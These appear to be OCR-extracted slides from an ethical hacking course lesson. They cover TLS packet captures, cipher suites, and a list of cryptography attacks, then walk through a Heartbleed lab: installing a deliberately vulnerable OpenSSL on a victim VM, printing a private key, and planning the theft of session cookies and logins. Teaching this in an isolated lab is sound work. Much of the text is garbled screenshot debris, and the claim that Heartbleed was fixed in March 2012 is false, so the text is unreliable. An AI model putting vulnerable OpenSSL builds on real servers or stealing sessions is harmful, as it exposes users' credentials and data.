Internet Protocol Version 4, Src: 54.239.17.6, Dst: 10.76.5.150
Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55834 (55834), Seqg: 5136
Secure Sockets Lavyer
v TLSv1l.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec

Content Type: Change Cipher Spec (20)

version: TLS 1.2 (Ox0303)
g — ————— e

Change Cipher Spec Message

v TLSv1.2 Record Layer: Handshake Frotocol: Encrypted Handshake Message

Content Type: Handshake (22)

version: TLS 1.2 (Ox0303)

Length: 40

Handshake Protocol: Encrypted Handshake Message

DEALS WEEK

4 ¥ ¥ ¥ ¥

92
Changed to the agreed upon cipher suite
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Kali Linux, an Offensive S.. % / @ Amazg

*eth0 (- ]
() @ | https://www.amazon.com
- File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
[ Most Visited v Jll Offensive Security S H 3 .
AN 20 BORD Q¢ » e kOB vy
ama;on 'n.tcp.port==443 [¥] ~| Expression.. +
No.  Time Source Destination Protocol Length Info %
Departments ~ B | 56 16.077494675 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seqg=19.. E
57 16.081053361 10.76.5.150 54.235.17.6 TLSvl.2 180 Client Key Exchange, Cha.. =
08 16.082526346 10.76.5.150 94.239.17.6 TLSvl.2 367 Application Data =
59 16.157136125 54.239.17.6 10.76.5.150 TLSv1.2 105 Change Cipher Spec, EnCh"::
60 16.191501917 54.239.17.6 10.76.5.158 TCP 50 443 — 55834 [ACK] Seq=51..
61 16.191535574 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seq=63..

TLS Application Data
5, CTIDEK

MONDAY

DEALS WEEK

® Firefox ESR =

A3

Applications «

1A
» Frame 62: 1014 bytes on wire (8112 bits), 1014 bytes
» Ethernet II, Src: Vmware_af:f2:c3 (00:50:56:af:f2:c3), Dst: Ymware_af:e6:bd (00.50:56:
= Internet Protocol Version 4, Src:
» Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55834 (55834), Seq:
v Secure Sockets Layer

v TLSv1l.2 Record Layer: Application Data Protocol: http

CIS 76 - Lesson 14

Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @& &
Tue 15:20

Places « W Wireshark «

6.285406589
PELE R

i st Tl

4 230 17 B 1M 7R B 16/

Content Type: Application Data (23)
version: TLS 1.2 (Ox0303)
Length: 955

Encrypted Application Data:

Start sending encrypted data

2

Tl Sl 2

54.239.17.6, Dst:

abc27hc7d270aad32274083c1aaa72122850858h3dbbh fdacf. . .

1014 Application Data
222 Annliratinn Nata b

captured (8112 bits) on interface

1876, 5.150
5187
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& C | ® www.jscape.com/blog/ciphe

Cipher Suites
—

- An Introduction

Basic elements of a cipher suite

A cipher suite is basically a complete set of methods (technically known as algorithms) needed to
secure a network connection through SSL (Secure Sockets Layer) / TLS (Transport Layer Security).
The name of each set is representative of the specific algorithms comprising it

We'll show you how these names look like in a short while. In the meantime, let's talk about the
algorithms that make up a cipher suite. The algorithms that make up a typical cipher suite are the
following:

= key exchange algorithm - dictates the manner by which symmetric keys will be exchanged;
= authentication algorithm - dictates how server authentication and (if needed) client authentication
will be carried out

» SCHEDULE NOW!

REQUEST DEMO
Request a 30 minute JSCAPE
MFT Server demonstration

» GET STARTED!

Latest Blog Posts

__ Updated Video: How To

= Enable Users To Upload
Files Anonymously Using
Drop Zones

posted at

Excluding Passive IP for
Internal FTP/S
Connections To Your
Reverse Proxy

posted at

__ Setting Up An FTPS

= Server Behind A Firewall
or NAT For PASV Mode
Data Transfers

posted at

__ Updated video: Adding
= and Managing Users on
JSCAPE MFT Server

posted at

Posts by categ

JSCAPE MFT Server (228)

Managed File Transfer (222)

Secure File Transfer (97)

News (96)

Business Process Automation (73)

Security (72)

Tutorials (67)
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Cipher Suite Table

B An Introduction To Ciph

&«

%/ [l tisand ssl cipher suites | X

(= (Dwww.thssprawlnrg.'resea\(h,-'tl:-and-ssl-:lpher-ikutes_‘

Message Digiest algorithm 5

Known cipher suites

The table below contains an exhaustive list of cipher suites implemented or defined by RFCs
and various TLS/SSL toolkits.

CipherID Name Protocol Kx Au Enc

0x000000 | TLS_NULL_WITH_NULL_NULL TLS NULL NULL NULL 0 NULL
0x000001 | TLS_RSA_WITH_NULL_MD5 TLS RSA RSA NULL 0 MD5
0x000002 | TLS_RSA_WITH_NULL_SHA TLS RSA RSA NULL 0 SHA
0x000003 | TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS RSA_EXPORT |RSA_EXPORT |RC4_40 40 | MD5
0x000004 | TLS_RSA WITH_RC4_128_MD3 TLS RSA RSA RC4_128 128 | MD3
0x000005 | TLS_RSA_WITH_RC4_128_SHA TLS RSA RSA RC4_128 128 | SHA
0x000006 |TLS RSA_EXPORT WITH_RC2_CBC_40_MD5 TLS RSA EXPORT  |RSA_EXPORT |RC2_CBC_40 40 |MD5
0x000007 | TLS_RSA_WITH_IDEA_CBC_SHA TLS RSA RSA IDEA_CBC 128 | SHA
0x000008 | TLS_RSA_EXPORT_WITH_DES40_CBC_SHA TLS RSA_EXPORT RSA_EXPORT |DES40_CBC 40 | SHA
0x000009 | TLS_RSA_WITH_DES_CBC_SHA TLS RSA RSA DES_CBC 56 |[SHA
0x00000A | TLS_RSA WITH_3DES_EDE CBC_SHA TLS RSA RSA 3DES_EDE_CBC 168 | SHA
0x00000B | TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA TLS DH DSs DES40_CBC 40 | SHA
0x00000C | TLS_DH_DSS_WITH_DES_CBC_SHA TLS DH Dss DES_CBC 96 | SHA
0x00000D | TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA TLS DH DSS 3DES_EDE_CBC 168 | SHA
0x00000E | TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA TLS DH RSA DES40_CBC 40 | SHA
0x00000F | TLS_DH_RSA_WITH_DES_CBC_SHA TLS DH RSA DES_CBC 56 |[SHA
0x000010 | TLS DH_RSA WITH_3DES_EDE CBC_SHA TLS DH RSA 3DES_EDE_GBC 168 | SHA
0x000011 | TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA TLS DHE DSs DES40_CBC 40 | SHA
0x000012 | TLS_DHE DSS_WITH_DES_CBC_SHA TLS DHE Dss DES_CBC 96 | SHA
0x000013 | TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA TLS DHE Dss 3DES_EDE_CBC 168 | SHA
0x000014 | TLS_DHE _RSA_EXPORT_WITH_DES40_CBC_SHA TLS DHE RSA DES40_CBC 40 | SHA
0x000015 | TLS_DHE_RSA_WITH_DES_CBC_SHA TLS DHE RSA DES_CBC 56 |[SHA
0x000016 | TLS_DHE _RSA WITH_3DES_EDE_CBC_SHA TLS DHE RSA 3DES_EDE_CBC 168 | SHA
0x000017 | TLS_DH_Anon_EXPORT_WITH_RC4_40_MD5 TLS DH Anon RC4_40 40 | MD5
0x000018 | TLS_DH_Anon_WITH_RC4_128_MD3 TLS DH Anon RC4_128 128 | MD3
0x000019 | TLS_DH_Anon_EXPORT_WITH_DES40_CBC_SHA | TLS DH Anon DES40_CBC 40 |SHA

her-suite

95


http://www.thesprawl.org/research/tls-and-ssl-cipher-suites/

CIS 76 - Lesson 14

Cipher Suite Glossary

[ How S5L Works X | & web application - What . X |

How S5 Works x

% IBM Knowledge Center - % \( TN SecretKeyExchange X / [ ManuakCiphers(1)- Ope X

&

c ‘ @ https:;//wiki.openssl.org/index.php/Manual:Ciphers(1)

N -

cipher suites using authenticated eph | DH key agreement.
ADH
anonymous DH cipher suites, note that this does not include anonymous Elliptic Curve DH (ECDH) cipher suites.

DH

cipher suites using DH, including anonymeus DH, ephemeral DH and fixed DH
KECDHr, kECDHe, kECDH

cipher suites using fixed ECOH key agreement signed by CAs with RSA and ECDSA keys or either respectively.
KEECDH, kECDHE

cipher suites using ephemeral ECDH key agreement. including anonymous cipher suites.
ECDHE, EECDH

cipher suites using autl i ECDH key agreement.
AECDH

anonymous Elliptic Curve Diffie Hellman cipher suites.
ECDH

cipher suites using ECDH key exchange, including anonymous, ephemeral and fixed ECDH.
aDS§s, DSS

cipher suites using DSS authentication, i.e. the cerificates carry DSS keys.
aDH

cipher suites effactively using DH authentication, i the certificates carry DH keys
aECDH

cipher suites ively using ECDH authentication, i e. the certificates carry ECDH keys
aECDSA, ECDSA

cipher suites using ECDSA authentication, i.e. the certificates carry ECDSA keys.
TLSv1.2, TLSv1, SSLv3

TLS v1.2, TLS v1.0 or SSL v3.0 cipher suites respectively. Note: there are no ciphersuites specific to TLS v1.1
AES128, AES256, AES

cipher suites using 128 bit AES, 256 bit AES or either 128 or 256 bit AES
AESGCM

AES in Galois Counter Mode (GCM): these ciphersuites are only supported in TLS v1.2.
CAMELLIA128, CAMELLIA256, CAMELLIA

cipher suites using 128 bit CAMELLIA. 256 bit CAMELLIA or either 128 or 256 bit CAMELLIA.
3DES

cipher suites using triple DES.
DES

cipher suites using DES (not triple DES)
RC4

cipher suites using RC4.
RC2

cipher suites using RC2.
IDEA

cipher suites using IDEA.
SEED

cipher suites using SEED.
MD5

Manual:Ci
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Cryptography Attacks

« Password cracking
« Dictionary attacks
« Brute force attacks
« Hydra, John the Ripper, LOphtcrak and Ophcrack, Pwdump3v2
« Illegal in the United States (you can crack your own forgotten
password)
« Faster if you have the hashed password file (/etc/shadow or
Windows SAM database)
« Mathematical attacks to exploit the algorithm
« Man-in-the-middle attacks (false keys won't be verified by CA)
 Replay attacks
* Firesheep in a coffee shop
« SSL/TLS vulnerabilities
« Wildcard certificates
+ Browsers that fail to check revocation lists
« Untrustworthy CA entries in browser
« SSL stripping - downgrades HTTPS to HTTP
« Implementation vulnerabilities (POODLE, TIME, BREACH,
CRIME, etc.)
 OpenSSL library vulnerabilities (Heartbleed) 08
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W Heartbleed Vulnerability

Heartbleed is a serious vulnerability in the OpenSSL cryptographic
software library.

The bug was introduced with version 1.0.1 (December 2011) and fixed in
version 1.0.1g (March 2012).

OpenSSL implements the SSL/TLS encryption protocol used by many
websites and applications to secure Internet traffic.

It allows anyone on the Internet to read the memory of systems using a
vulnerable version of the OpenSSL library versions 1.0.1 though and
including 1.0.1f.

Attackers can get encryption keys, user names & passwords, the private
content itself, and system security settings.

The exploit goes after a bug in the implementation of heartbeat
extension (RFC6520) which results in a leak of memory contents.

100

http://heartbleed.com/
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"EH-Pod-05 Network"
10.76.xx.0/24

e o

EH-Kali-xx EH-WinXP-xx

Victim
Attacker
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Heartbleed Testing Setup

On EH-WinXP-xx

1) Setup WampServer

2) Configure SSL

3) Configure IP address to listen on

4) Configure root password for PhpMyAdmin

5) Install Damn Vulnerable Web App (DMVA)

6) Login to PhpMyAdmin at https://10.76.xx.201/myphpadmin

On EH-Kali-xx
1) Steal PhpMyAdmin login session cookies

On EH-WinXP-xx
1) Login to DVWA at https://10.76.xx.201/dvwa

On EH-Kali-xx
1) Get user and password from DMVA login session

103
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Credits

Infosec Heartbleed lab:
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EH-WinXP-xx (restored to baseline snapshot)

Recycle Bin

e
/

Internet
Explorer

- Type the name of a program, folder, document, or
7 Internet resource, and Windows will open it for you.

open: | 11172.30.10.361depot ] v

[ Cancel ][ Browse... ]

)9 % s47PM

106
Start > Run... > cmd > \\172.30.10.36\depot > OK button
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o~
= File Edit WYiew Favorites Tools Help

Internet

Explarer €3 Bac! »\s) l’ /F} Search |{ " Folders (i)~

s |47 11172.30.10.361depot

File and Folder Tasks

ﬁ Make a new folder

&) Publish this folder to the 2 ;
weh Cain and Abel

Other Places

W 172.30.10.36
4 M

lD FESeE S -~ Global Network Inventory

| Shared Documents Scanner

g My Computer

&g My Network Places

Heartbleed

Details

: ’lll start ? depot on 1

107
Find and select the Heartbleed folder
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medium.php
From 'source’ to 'source’

[-------------

10 Seconds Remaining

@ Rename this folder
(& Move this Falder
) Copy this folder

&) Publish this folder to
the Web

D E-mail this folder's files
¥ Delete this folder

-~ T Global Metwork Inventory
eed Scanner
Al Other Places

-3

'P, Heartbleed

[) Shared Documents
g My Computer

e Blebiaarie B

‘4 Start ® depot on 172.30.10.36 R)0 % ssopm

108
Drag Heartbleed folder to your desktop
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7

/ File Edit View Favorites Tools Help
Internet

Explorer ( \_) J /F\ Search [1"_‘ Folders v

B
A Name -~ Size  Type

File and Folder Tasks A () Commands File Folder

£9 Meke a new folder PConf.lg_ﬂles F!Ie Folder

: : [Dcredit File Folder

2] tpﬁgl:;he;h's Folder to CHDvwa File Folder

2 share this folder ) openssl-1.0,1-i386-win32 File Folder
=| READM OKB Text Document

() wampserver2,2d-x32 25,394 KB Application

Other Places

(@ Desktop

la My Documents

i) Shared Documents

g My Computer
Heartbleed &g My Network Places

'4 start &)0 % e:sipM

109
Open and run wampserver2.2d-x32
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Recycle Bin

7
v File Setup - WampServer 2

Internet -
gl 3 Welcome to the WampServer 2
- Setup Wizard

WampServer This will install WampServer 2.2 on your computer,

1t is recommended that you close all other applications before

Powered by continuing.
Alter Way Click Mext to continue, or Cancel to exit Setup.
The French
Open Source
Service Provider
http:liwww.alterway.fr
4 Apache
MySQL
PHP .
PHPMyAdmin :
SqlBuddy
XDebug

earktbleec [
Heartbleed II‘ Next > Il' Cancel |

‘4 Start & Heartbleed

110
Next



Internet
Explorer

i4 Start

License Agreement

Please read the following important information before continuing.

Please read the following License Agreement. You must accept the terms of this
agreement before continuing with the installation.

¥ WampServer

by
Creator : Romain Bourdon
Maintainer | Upgradej/Roadmap  : Herve Leclerc - herve.leclerc@alterway.fr

GNU GEMNERAL PUBLIC LICENSE
Version 2, June 1991

Copyright {C) 1989, 1991 Free Software Foundation, Inc.

1 ©1 accept the agreement)
(01 do not accept the agreement

@& Heartbleed

< Back I, Next = I | Cancel

Setup

Accept and Next

® 0 % sisaem
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7
7 File Setup - WampServer 2
Internet = po— X
Explorer ( Select Destination Location
- Where should WampServer 2 be installed?

,/l Setup will install WampServer 2 into the following Folder.

To continue, click Mext. If vou would like to select a different folder, click Browse.

‘ I [ Browse... ]

At least 216.0 MB of free disk space is required.

Heartbleed

[ < Back Il Mext > l[ Cancel J

;4 start @ Heartbleed Setup &0 % ssipm

112
Take default folder and Next
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Setup - WampServer 2
Internet .
Explorer ) Select Additional Tasks

Which additional tasks should be performed?

Select the additional tasks you would like Setup to perform while installing WampServer
2, then click Next.

Additional icons:
Create a Quick Launch icon
() Create a Deskkop icon

Heartbleed

< Back I Mext > || Cancel I

S s Start & Heartbleed

R)0 % ais4pm

113
Check both options and Next



P
/ File Setup - WampServer 2
Internet =

Explorer Ready to Install
= Setup is now ready to begin installing WampServer 2 on your computer.

Click Install to continue with the installation, or click Back if you want to review or
change any settings.

Destination location:
c:iwamp

Additional tasks:
Additional icons:
Create a Quick Launch icon
Create a Deskkop icon

[ < Back l Install I[ Cancel J

[ Heartbleed &)0 % 5:55PM

114
Install
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“ File Setup - WampServer 2
Internet . .
Explorer L Installing
- Please wait while Setup installs WampServer 2 on your computer,

Extracting files...
c:iwampiappsiphpmyadmin3.4.10. 1\libraries\importiupload\apc.php

(T

Heartbleed ‘_

‘4 Start & Heartbleed ®)0 % &ssPM

115
Installing



Internet 3
Explorer R Installing

Please wait while Setup installs WampServer 2 on your computer,

Extracting files...

2 Firefox has been detected on your computer. Would you like to use it as the default
7 browser with WampServer2?

Heartbleed “

& Heartbleed 8:57 PM

116
Yes for Firefox as default



Recycle Bin

7\
v

Internet ;
Explorer : PHP mail parameters

& Hearthlead
=i Setup - WampServer 2

Please specify the SMTP server and the adresse mail to be used by PHP when using
the function mail{). If vou are not sure, just leave the default values,

SMTP:
focaiosd

Email;

iyou@yourdomain

jer=
|
¥

W ampServer

& Heartbleed Setup *= Windows Security Alert ®)0 % a:58PM 117
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7
v File Setup - WampServer 2

Internet -
EXDIOTEY 3 Completing the WampServer 2
- Setup Wizard

Setup has finished installing WampServer 2 on your computer,
WampServer The appplication may be Iau?mhed gy selecting tl:e instaII;d
icons,
Powered by
Alter Way
The French
Open Source
Service Provider
http:liwww.alterway.fr
4 Apache
MySQL
PHP .
PHPMyAdmin :
SqlBuddy
XDebug

Click Finish to exit Setup.

Launch WampServer 2 now

\Wampserver

Heartbleed ‘ [ < Back ]I Finish l

4 s Start & Heartbleed %= Windows Security Alert

L. 118
Finish



7\
7

Internet
Explorer

\H(m.‘t.]nglm

‘4 start

Other P

(@ Des

™= Windows Security Alert

= 10 help protect your computer, Windows Firewall has blocked
P/ some features of this program.

Do you want to keep blocking this program?

Name:  Apache HTTP Server

Publisher: Apache Software Foundation

[ Keep Blocking ] [ Unblock ] [ Ask Me Later ]

Windows Firewall has blocked this program from accepting connections from the
Internet or a network. If you recognize the program or trust the publisher, you can
unblock it. ‘When should | unblock a program?

= Folder
e Folder
e Folder
xt Document
plication

I & Heartbleed %= Windows Security Slert

Unblock Apache in the firewall

g)

%
v

9:00 PM

119
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Eil=  Edit “ew History Bookmarks Tools  Help
{3} WAMPSERYER Homepage -+
= @ locahost c i.Q.Search - ﬂ’ B @ 4+ @ e =
=

(),
L

Version 2.2 Yersion Francaise

Server Configuration
Apache Yersion: 2221

PHP Yersion : 5.3.10

Loaded Extensions : g Core Mbcmath  Mecalendar  Pecom_domet
W ctype W date W ereg = filter
& fip W hash W icory - json
;& morypt 3 SPL = oobc W pore

M Reflection S session  Pestandard 3 mysqind
M tokenizer MW zip 3 zlib e ikl

W dom 3 POO o Phar W SimplexiL
W el o ol W vmlreader e srmbwr iter
W spachezhariiembstring i gd & mysql

WER Home. .. ’< g o954 AM

Look for green icon in system tray and browse to http://localhostto check Apache and PHP 120
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Replace SSL with
vulnerable version

(EH-WinXP-xXx)
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File Edit View Favorites Tools Help
Internet o

Explarer Back @ - l? /,\' Search u Folders v

A MName -~ Size  Type

File and Folder Tasks A () Commands File Folder

[-2) Config_files File Folder

(C)credit File Folder

CDvwa File Folder

% openss-1.0.1-366-Win3z | File Folder
=| README 0KB Text Document
() wampserverz.2d-x32 25,394 KB Application

(=2 Make a new folder

Publish this folder to
the Web

k2 Share this Folder

Other Places

Wampserver (& Deskiop
' lD My Documents

|5) Shared Documents

- g My Computer

Heartbleed \:} My Metwork Places

9:05 PM

122
Find the vulnerable version of OpenSSL in the downloaded Heartbleed folder
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7=
A File Edit View Favorites Tools Help
Internet |

Explorer @Back v \\)) l? /) Search || Folders ’v|

Address |[5) C:\Documents and Settings\cis76 student\Desktop'uE Thumbnails

| @ Tiles
HashInfa
File and Folder Tasks & Text Docur Icons

3KB ‘
() Make a new folder Details

& Publish this folder to ibeay32.dil
the Web 1.0.1.0

Q Share this folder OpenssL Shared Library

openssl
Other Places .

[ Heartbleed Openssl License
) My Documents I:Er paciTert
[ Shared Documents o

- i My Computer ReadMe

3 Text Document
Heartbleed &g My Network Places 3KB

& openssl-1.0.1-

Select List view

?

)

)

9:06 PM

123
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openssl-1.0.1-i386-win32

File Edit View Favorites Tools Help ;ﬂ.

s [Z] HashInfo
File and Folder Tasks A = @IibeaySZ.dﬂ
_ — ™ openss!
@ Moo thm zgiec Bopenssiiiense | Copy these three files

[ =| ReadMe
I Copy the selected D
D iter';z @ssleay32.dll

-8 Publish the selected

File Edit View Favorites Tools Help

C:\wamp\bin\apache\Apache2.2.21\bin

Wampaeryer Address §77) Criwampibiniapache\Apache2.2.211bin ]

& £ ssleayaz. dll
File and Folder Tasks & ﬁhtdigest @Iibhttpd.dll wintty

- : = [Mhtpasswd Flogresalve @ zlib1.dll
(3 Move the selected N\ httpd e

Heartbleed items =
() Copy the selected Clhtextzdom p}php Paste ( and
items @ libapr-1.dI Lf_:) phpSnsapi.dil i
€ Publish the selected _@Iibapriconv-l.dll |3 phpsts.di overwrite ) them here
items ta the Web [ﬂ libaprutil-1.dll Erotatelogs
() E-mail the selected
items V(< i [ >

‘4 Start % openssl-1.0,1-i386-wi... @@ bin &) ©O% o09pM

124
Copy libeay32.dll, openssl.exe, ssleay32.dll and overwrite files in Apache bin folder



CIS 76 - Lesson 14

Recycle Bin

e
v

Internet
Explorer

\.lﬂ.-')afnpSér'-.fer

Type the name of a program, folder, document, or
Internet resource, and Windows will open it for you.

Open: v |

[ Cancel ][ Browse. .. ]

‘4 Start & openssl-1.0.1-i386-wi... | @® bin ) O % gsuseM

125
Start > Run... > cmd > OK button
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and certificates
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cd c:\
cd wamp\bin\apache\Apache2.2.21\bin
openssl genrsa -des3 -out server.key 1024

C:AWINDOWS\system 32vcmd. exe

Microsoft Windows HP [Uersion 5.1.260801
Gy Copyright 1985-2801 Microsoft Corp.

C:sJDocuments and Settingsscis?b student>cd o
C:wored wampsbinsapaches~Apache2 . 2. .21%hin

C:swamp~hinsapache~Apache2 .2 .21~bhin*openss]l genrsza —deszd —out server.key 1624
WARMIMG: can't open config file: Ausr-localsssl-openzzl.cnf

Loading *‘screen’ into random state — done

Generating REA private key, 1824 hit long modulus

e iz 65537 (Bx18061>
Enter pass phrase for server.key:
Uerifuying — Enter pass phrase for server.key:

Czswamp~hin~apache~Apache2 .2 _.21~bhin>

Generate a 1024 bit RSA private key and triple DES encrypt it using a pass phrase 197



A

All on one line

C:\wamp\bin\apache\Apache2.2.21\bin>openssl req -new -x509 -nodes -shal
-days 365 -key server.key -out server.crt -config
c:\wamp\bin\apache\Apache2.2.21\conf\openssl.cnf

e ICAWINDOWSAsystem32vcmd. exe

C:swamp~hinsapache~Apache2 .2 .21~bin>*openss]l req —new —x58? —nodes —=shal —davws 36
o —keg seguer.key —out server.crt —config c:iswampshinsapache-fApache2. 2. 21~conf*o
penssl_cn

WARMIMG: can't open config file: Ausr~localsssl-openssl.cnf

Enter pass phrase for server.key:

Loading *screen’ into random state — done

You are about to he asked to enter information that will be incorporated

into your certificate reguest.

hat vou are about to enter is what is called a Distinguished Mame or a DHN.
There are guite a few fields but you can leave some blank

For zome fieldsz there will be a default value.

If you enter *.*,. the field will be left hlank.

Country Mame €2 letter code> [AU]:

State or Province MWame <full name? [Some—-Statel:

Locality Mame <eg,. city> [1:

Organization Mame <eg, company? [Internet Widgits Pty Ltdl:
Organizational Unit Hame <eg,. section?> [1:

Common Mame <eg, YOUR name>» [1:

Email Addres=z [1:

C=wwamp~bin~apache~Apache? .2 .21~binZ

Use the private key to generate a self-signed certificate containing the public key 128



Xcopy server.key server.key.orig
f

del server.key

openssl rsa —-in server.key.orig -out server.key

e C:AWINDOWSA\system32vemd. exe

C:~wamp~bin~apache“Apache? 2 _21%~hin>xcopy szerver.key server.key.orig
Does server.key.orig specify a file name

or directory name on the target

(F = file, D = directory>? f

C:zerver.key

1 File<s» copied

C:swamps~hinsapache~Apache2 .2 .21~bin>*del server._.key

Czswamps~hinsapache~Apache2 .2 .21~bhin*openss]l rsa —in server.key.orig —out servep.
ke y

WARNIMNG: can't open config file: ~usvrslocalsssl-opens=sl.cnf

Enter pass phraze for server.key.orig:

writing RSA key

Be careful because people with
physical access to the server
could copy the unencrypted
private key

Czswamp~hin~apache~Apache2 .2 _.21~bhin>

Export private key without the encrypted wrapper so Apache can
use it without having to prompt for the pass phrase each time.

129



C:\wamp\bin\apache\Apache2.2.21\bin>openssl rsa -in server.key
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
writing RSA key

MIICXgIBAAKBgQCTH zw5awQUCBYz2gQJ rH+DsWiALDb160Q0zwIwHONncBgjdnxDsC22
dnIsih7HaTogvAODgS1huSFIW1r7KGENepWhS 6g05110zajBZywl 100VnQGL1 +CU
BwdgMDP41g/CH9wwnQl ZR2 2u/ ZmUqeGrrQVPHfkPj2z r/WSDSbUS TBy Osw IDAQAB
AOGBAJOVZ5/QTeTl1vKF IBkkTGVvrRAKRkZuT1C2t+gdnhKb6nSJCPMx4 +RErW8 r£5
EkOtBfPR9eErC6bFjeUpl00IjyDhbc00yCdgDjT]jvaoy6BcTmPeMCC8nGOuvnMgP
1uuwb3£D64nRgSb6g+bKRYVsirJSwGzagB 6DB+T1 sbGxuNKhAKEAOHO40s iNpXgJ
nn01J2z2hDzqV7qd77TVbl cOP83Vrd8GkUSjCUAY FxX0O6wtCicpLxAgFz7Lem8Aa
g5Ne 9zGnIwJBAMksdA0 6/1i 1mB3yB Syt NHmXZMBJt SUHXDT sMYh8IwrXFZL /Wi 6Y8

XzmUa4xVgZUduOml rmBOtgot1 AKNJI90 3uz ECQQC+ 0K+ 7k4 riWZ cOo YIRWSt B+zKRY

GmRpAUg+8WTK4 0kvGHGSmRoFZbonozb+wh fuulgQ4qcvMoXFLV08onLUJY exAkAA BOth server. key and

59FR6e0Q+T+2YN+cv0kev) 6ITJrR8emIV3LVoX Fg8 BLp yXp 3cT rNDCBb /17 awnCQu server. key Ol"lg have the

1la8WQeRyma fr5wIB57RRAKEAYQIkO8LgEFVQOM8 eLBMNWX/NhD1 yNNxrT 1po DXy S6b .

t 3boB6N 1PHNGE 388 FNyjIZqTeuTr yX6 zi KMH3AZKATR 1 xg== [)f7bQ3tf? I(E?)/.

—-—-——-END RSA PRIVATE KEY--—---

C:\wamp\bin\apache\Apache2.2.21\bin> On/y server. key. Or,g IS
encrypted and requires a

()I)GEIIESES]. rsa —-1n server .]{EE}(. orig [)é?f;f; [)f?fE?fiE?.

C:\wamp\bin\apache\Apache2.2 .21 \bin>openssl rsa -in server.key.orig
WARNING: can't open config file: /usr/local/ssl/openssl.cnf

Enter pass phrase for server.key.orig:

writing RSA key

MIICXgIBAAKBgQCT zwbawQUCBYz2gQJ rH+DsWiALbl60QzwIwHONnCcBgjdnxDsC22
dnIsih7HaTogvAODgS1huSFIW1lr7KGENepWhS 6g05110zajBZywl i00VnQGL1 +CU
BwdgMDP41g/CH9wwnQl1 ZR2 2u/ ZmUgqeGrrQVPHfkPj2z r/WSDSbUS TBy Osw IDAQAB
AOGBAJOVZ5 /QTeT1vKF IBkkKTGvrRAKRkZuT1C2t+gdnhKb 6nS JCPMx4 +RErW8 r£5
EkOtBfPR9eErC6bFjeUpl00IjyDhbc00yCdgDjT]jvaoy6BcTmPeMCC8nGOuvnMgP
1uuwb3£D64nRgSb6g+bKRYVsirdSwGzagB 6DB+T1 sbGxuNKhAKEAOHO40s iNpXgJd
nn01J2z2hDzqV7qd77TVbl cOP83Vrd8GkUSjCUAY FxX06wtCicpLxAgFz7Lem8Aa
q5Ne 9zGnIwJBAMksdAO 6/1 1mB3yB Syt NHMXZMBJt SUHXDT sMY h8 I wrXFZL /Wi 6Y8
XzmUa4xVgZUduOml rmBOtgot 1 AKNJI90 3uz ECQQC+ 0K+ 7k4 rWZ cOo YIRWSt B+z KRY
GmMRpAUg+8WTK4 0kvGHGSmRoFZb6nozb+wh fuulgQ4gcvMoXFLV08onLUJY exAKAA
59FR6e0Q+T+ZYN+cvOkevj 6IJrR8emIV3LVoXFg8BLp yXp3cT rNDCBb /17 awnCQu
1a8WQeRyma fr5wIB57RRAKEAYQIkO8LgEFVQOM8eLBMNWX/NhD1 yNNxrT 1poDXyS6b
t 3boB6N1PHNGE 388 FNy jIZgTeuTr yX6 ziKMH3AzZKAIR1xg==

————-END RSA PRIVATE KEY-----

130

C:\wamp\bin\apache\Apache2.2 .21 \bin>openssl rsa -in server.crt
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File Edit View Favorites Tools Help

V‘Go

A l_bin [D)include [Z] cHaNGES [Z] README
File and Folder Tasks & _ I cgi-bin 2lib

[Z] msTaLL [Z] README-win32
[ D)conf D)logs Q LICEMNSE =) wampserver. conf

@ Rename this folder Derror (Z)manual £l noTIcE (sl |

i@y Move this folder [C)htdocs (C)modules [£] OPENSSL-NEWS

) Copy this folder Cicons [£) aBOUT_APACHE ] OPENSSL-README

&) Publish this folder to

Heartbleed

PR

'l.' start & Apache2

e CHWINDOWS syste. ..

131
Create a new folder named ssl/
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EEX |

File Edit View Favorites Tools Help

v BY co

File and Folder Tasks

J Make a new folder

Publish this folder tao
the Web

2 Share this folder

~ |2 libeay32.di E&] ssleay32.dll
File and Folder Tasks 2 [Fhtdigest ] libhttpd.dl Fwintey

- z = Fhtpasswd Flogresalve zlibl i
P & i':';;: ficta __f\httpd Mopenss! =xdserver |
s Hj c httthdbm Bphp =) server ke .orig
opy the selected = =
) libapr-1.dl %] phpSnsapi.di (2] server key]

items
Publish the selected %] libapriconv-1.dl %] phpsts.di

< items ko the Web ] libaprutil-1.dl Frotatelogs 1 ) Co py these files

@ E-mail the selected
items M|

on CHWINDOWS!syste. .. ®, ©:42PM

132
Copy the unencrypted private key and certificate to the new ss/ folder
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openssl x509 -in server.crt -text -noout

C:\wamp\bin\apache\Apache2.2.21\bin>openssl x509 -in server.crt -text -noout
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
dc:bd:d1:82:d5:5c:73:7d
Signature Algorithm: shalWithRSAEncryption
Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Validity
Not Before: Nov 28 05:27:46 2016 GMT
Not After : Nov 28 05:27:46 2017 GMT
Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:a3:cf:0e:5a:cl1:05:
el:ec:5a:20:0b:6f:5e:
la:a3:76:7c:43:b0:2d:
3a:20:bc:0d:03:81:2d:
61:4d:7a:95:al:4b:a8:
2c:25:88:ea:15:9d:01:
33:£f8:d6:0f:c2:1f:dc:
99:94:89:el:ab:ad:05:
64:83:49:05:12:4c:1c:
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
EE:B6:BC:DE: 68:D7:CD:36: FA:F6:F0:73:B8:47:C1:17:2D:99:21:21
X509v3 Authority Key Identifier:
keyid:EE:B6:BC:DE: 68:D7:CD: 36: FA: F6:F0:73:B8:47:C1:17:2D:99:21:21

